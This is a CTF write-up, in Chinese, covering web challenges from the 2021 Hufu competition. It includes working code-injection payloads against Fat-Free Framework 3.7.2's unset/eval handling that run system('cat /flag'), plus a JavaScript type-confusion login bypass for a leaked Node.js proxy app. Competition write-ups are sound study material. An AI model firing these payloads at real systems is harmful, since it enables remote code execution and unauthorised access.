引言
2021 数字中国创新大赛虎符网络安全赛道
2021年4月3日 10:00-18:00
貌似有一段时间没来打 CTF 了,手有点生了。
今年的虎符来的有点早,还赶上了清明假期,大家都比较忙,就来随意看看题好了吧(
Web
签到
师傅们常说,要善于学习,细致入微;师傅们也常说,要善于分享,总结归纳。
2021年3月28日,PHP维护的官方Git服务器 git.php.net 被袭击,其Git仓库遭到恶意篡改。如果开发者使用这些遭到篡改的源代码进行网页的开发的话,网站就会在不知情的情况下被感染。
PHP 官方:Changes to Git commit workflow
https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
直接在 header 打就好了。注意是两个t
。
unsetme
是缺陷还是漏洞呢。
<?php
// Kickstart the framework
$f3=require('lib/base.php');
$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();
是 Fat-Free Framework ,一查发现 3.7.1 版本存在 RCE 漏洞 CVE-2020-5203。
但这个漏洞在 3.7.2 修复了。
根据 /lib/CHANGELOG.md
,得知题目用到的版本是 3.7.2 (28 May 2020)
查看源码,当对不可访问的属性调用 unset()
时__unset()
会被调用。
在 clear
里有 eval
,拼接字符串,但需要有 $parts[1]
if (!isset($parts[1]) && array_key_exists($parts[0],$this->init))
// Reset global to default value
$this->hive[$parts[0]]=$this->init[$parts[0]];
else {
$val=preg_replace('/^(\$hive)/','$this->hive',
$this->compile('@hive.'.$key, FALSE));
eval('unset('.$val.');');
if ($parts[0]=='SESSION') {
session_commit();
session_start();
}
if ($cache->exists($hash=$this->hash($key).'.var'))
// Remove from cache
$cache->clear($hash);
}
再看 changelog
根据 https://github.com/bcosca/fatfree/issues/1206
https://github.com/bcosca/fatfree/issues/1191
正则匹配对 []
处理不当,于是构造 payload
/?a=SESSION[f3-reroute-info]);phpinfo(
/?a=SESSION[f3-reroute-info]);system('ls /'
/?a=SESSION[f3-reroute-info]);system('cat /flag'
flag{dfc91022-dc9d-481a-8b46-cff1ce6e51be}
internal_system
开发了一个公司内部的请求代理网站,好像有点问题,但来不及了还是先上线吧(─.─||)
hint: /source存在源码泄露;/proxy存在ssrf
(这是一道零解的题目……
访问 /source
得到源码,啊是 NodeJS。
const express = require('express')
const router = express.Router()
const axios = require('axios')
const isIp = require('is-ip')
const IP = require('ip')
const UrlParse = require('url-parse')
const {sha256, hint} = require('./utils')
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
const port = process.env.PORT || 3000
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response)
} else {
return response
}
}
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
return isIp(host) && IP.isPublic(host)
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.redirect('/index')
}
})
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash
res.redirect('/index')
}
})
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin})
}
})
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body
try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "route.js");
})
router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})
module.exports = router
首先需要登录,这里用到了 JavaScript 弱类型的特性。
参考 SuSeC CTF 2020 Writeup & 基于Node.JS的sha1绕过分析
JavaScript 在使用加号拼接的时候最终会得到一个字符串(string),于是不会影响 sha256 的处理。
这里是用 GET query 传参,可以构造 payload
username[]=admin&password=admin
就能成功以管理员身份进入。
接下来打 ssrf……
(题目环境关了复现不了了啊嘤嘤嘤
(后面再搭环境复现吧 赵总的 buuoj 开了环境👇
环境: [虎符CTF 2021] Internal System
这题太顶了!
专门写了一篇复现这题的博客,移步下面这篇吧。
CTF | 2021 虎符CTF Web internal_system 复现
小结
就做出了两题 web,喵喵好菜啊是 fw,喵呜呜呜(
不过有点佛系,就下午看了一下,快到晚上就出去玩了(其实没认真打,这就逃走
(溜了溜了喵